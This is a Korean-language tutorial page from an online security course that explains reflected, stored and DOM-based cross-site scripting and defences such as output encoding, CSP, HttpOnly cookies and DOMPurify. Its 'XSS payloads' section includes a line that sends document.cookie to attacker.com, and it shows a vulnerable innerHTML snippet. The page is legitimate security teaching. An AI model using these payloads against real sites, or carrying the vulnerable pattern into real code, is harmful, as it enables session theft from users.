0Pricing
Cyber Security Academy · 강의

사이트 간 스크립팅(XSS)

실제 페이로드와 CSP 완화책을 통해 반사형, 저장형, DOM 기반 XSS를 살펴보세요.

사이트 간 스크립팅(XSS)은(는) CoddyKit의 무료 Cyber Security Academy 강의입니다. 이것은 4개 중 2번째 강의입니다. 아래에서 전체 강의를 무료로 읽을 수 있으며, 내장 코드 에디터와 24/7 AI 튜터와 함께 브라우저에서 직접 실습할 수 있습니다. 이 강의는 Cyber Security Academy 학습 경로의 일부이며, 진행 상황이 웹과 CoddyKit 앱에 동기화됩니다. Cyber Security Academy 강의에는 총 4개의 강의가 포함되어 있습니다.

XSS란 무엇인가요

사이트 간 스크립팅(XSS)은 공격자가 다른 사용자가 보는 웹 페이지에 악성 JavaScript를 삽입할 때 발생합니다. 브라우저는 피해자 세션의 컨텍스트에서 해당 스크립트를 실행하므로 쿠키 탈취, 키 입력 기록, 페이지 조작이 가능해집니다.

반사형 XSS

반사형 XSS(비지속형): 악성 스크립트가 요청(예: URL 매개변수)에 포함되어 응답에 그대로 반영됩니다. 피해자는 조작된 링크를 클릭해야 합니다. 예: https://site.com/search?q=<script>alert(1)</script>

저장형 XSS

저장형 XSS(지속형): 악성 스크립트가 데이터베이스(예: 댓글, 프로필 필드)에 저장된 후 모든 방문자에게 제공됩니다. 별도의 특수 링크가 필요하지 않고 페이지를 볼 때마다 스크립트가 실행되므로 반사형 XSS보다 위험합니다.

DOM 기반 XSS

DOM 기반 XSS는 JavaScript가 공격자가 제어하는 데이터(URL 해시, 쿼리 매개변수)를 읽고 정제하지 않은 상태로 DOM에 기록할 때 발생합니다. 공격은 전적으로 클라이언트 측에서 이루어지므로 서버는 페이로드를 전혀 보지 못합니다.

// Vulnerable code:
document.getElementById("msg").innerHTML = location.hash.slice(1);
// Attack URL: https://site.com/page#<img src=x onerror=alert(1)>

XSS의 영향

XSS를 통해 공격자가 할 수 있는 일:

  • 세션 쿠키(document.cookie) 탈취 → 계정 탈취
  • 키 입력 기록(입력하는 비밀번호 탈취)
  • 피싱 사이트로 리디렉션
  • 피해자 대신 작업 수행(XSS를 통한 CSRF)
  • 페이지 변조

XSS 페이로드

간단한 테스트 페이로드:

<script>alert(document.cookie)</script>
<img src=x onerror="fetch('https://attacker.com/?c='+document.cookie)">
<svg onload=alert(1)>

출력 인코딩

가장 중요한 방어 방법은 사용자가 제어하는 모든 출력을 인코딩한 후 HTML에 삽입하는 것입니다. 특수 문자를 HTML 엔터티로 변환하십시오: < → &lt;, > → &gt;, " → &quot;.

컨텍스트에 맞는 인코딩을 사용하십시오: HTML, JS, URL, CSS.

콘텐츠 보안 정책(CSP)

CSP는 실행이 허용된 스크립트를 브라우저에 알려 주는 응답 헤더입니다. 엄격한 CSP는 인라인 스크립트를 차단하고 허용된 출처를 제한합니다:

# Response header:
Content-Security-Policy: default-src 'self'; script-src 'self' https://cdn.example.com;
# Blocks all inline JS and scripts from unauthorized domains

HttpOnly 쿠키

세션 쿠키에 HttpOnly 플래그를 설정하면 JavaScript가 document.cookie를 통해 쿠키를 읽을 수 없습니다. XSS가 실행되더라도 공격자는 세션 토큰을 탈취할 수 없습니다. 이는 출력 인코딩과 함께 가장 중요한 완화 계층입니다.

정제 라이브러리

사용자가 HTML을 입력할 수 있어야 하는 경우(예: 서식 있는 텍스트 편집기) 직접 작성하지 말고 정제 라이브러리를 사용하십시오:

  • DOMPurify (JavaScript)
  • bleach (Python)
  • OWASP Java HTML Sanitizer

XSS 테스트

브라우저 개발자 도구, Burp Suite 또는 자동화된 스캐너를 사용하여 XSS를 테스트하십시오. 모든 사용자 입력 필드, URL 매개변수, HTTP 헤더와 DOM에 값을 기록하는 함수를 확인하십시오: innerHTML, document.write, eval, 문자열 인수와 함께 사용하는 setTimeout.

빠른 확인: XSS

악성 페이로드를 데이터베이스에 저장하여 해당 페이지의 모든 방문자에게 실행되도록 만드는 XSS 유형은 무엇인가요?

수업 요약

XSS는 피해자가 보는 페이지에 JavaScript를 삽입합니다. 유형에는 반사형(URL 기반), 저장형(데이터베이스에 저장됨), DOM 기반(클라이언트 측)이 있습니다. 주요 방어 방법은 출력 인코딩, HttpOnly 쿠키, 콘텐츠 보안 정책입니다. HTML을 정제할 때는 DOMPurify를 사용하십시오. 정제되지 않은 사용자 데이터를 innerHTML이나 eval()에 절대 삽입하지 마십시오.

자주 묻는 질문

“사이트 간 스크립팅(XSS)” 강의는 무료인가요?

네 — “사이트 간 스크립팅(XSS)” 전체 내용을 이 웹사이트에서 무료로 읽을 수 있습니다. 인터랙티브하게 실습하려면(내장 코드 에디터와 24/7 AI 튜터), CoddyKit PRO로 업그레이드하면 Cyber Security Academy 강의 전체를 잠금 해제할 수 있습니다. Cyber Security Academy 강의에는 총 4개의 강의가 포함되어 있습니다.

“사이트 간 스크립팅(XSS)”에서 뭘 배우나요?

실제 페이로드와 CSP 완화책을 통해 반사형, 저장형, DOM 기반 XSS를 살펴보세요. 브라우저에서 직접 실행하는 실습 코드로 Cyber Security Academy을(를) 배우며, 24/7 AI 튜터가 강의를 진행하면서 질문에 답변해줍니다.

Cyber Security Academy을(를) 시작하는 데 경험이 필요한가요?

사전 경험은 필요하지 않습니다. CoddyKit의 Cyber Security Academy은(는) 초급자부터 고급 학습자까지를 위해 구성되어 있으므로, 여기서 시작하거나 처음부터 시작할 수 있으며 자신의 속도대로 진행할 수 있습니다. 이것은 4개 중 2번째 강의입니다.

“사이트 간 스크립팅(XSS)” 강의는 얼마나 걸리나요?

대부분의 CoddyKit 강의는 약 5~10분이 소요됩니다. 각 강의는 간결하고 인터랙티브하여 꾸준한 진행이 가능하며, 웹과 앱에서 중단한 부분부터 바로 시작할 수 있습니다.

이 Cyber Security Academy 강의에서 코드를 작성하고 실행할 수 있나요?

네. 모든 Cyber Security Academy 강의에는 내장 코드 에디터가 포함되어 있으므로, 브라우저에서 바로 실제 코드를 작성하고 실행한 후 즉시 AI 피드백을 받을 수 있습니다 — 로컬 설정이 필요 없습니다.

이 강의의 모든 강의

  1. SQL 인젝션: 작동 방식과 원리
  2. 사이트 간 스크립팅(XSS)
  3. 사이트 간 요청 위조(CSRF)
  4. 보안 구성 오류와 노출된 서비스
← Cyber Security Academy(으)로 돌아가기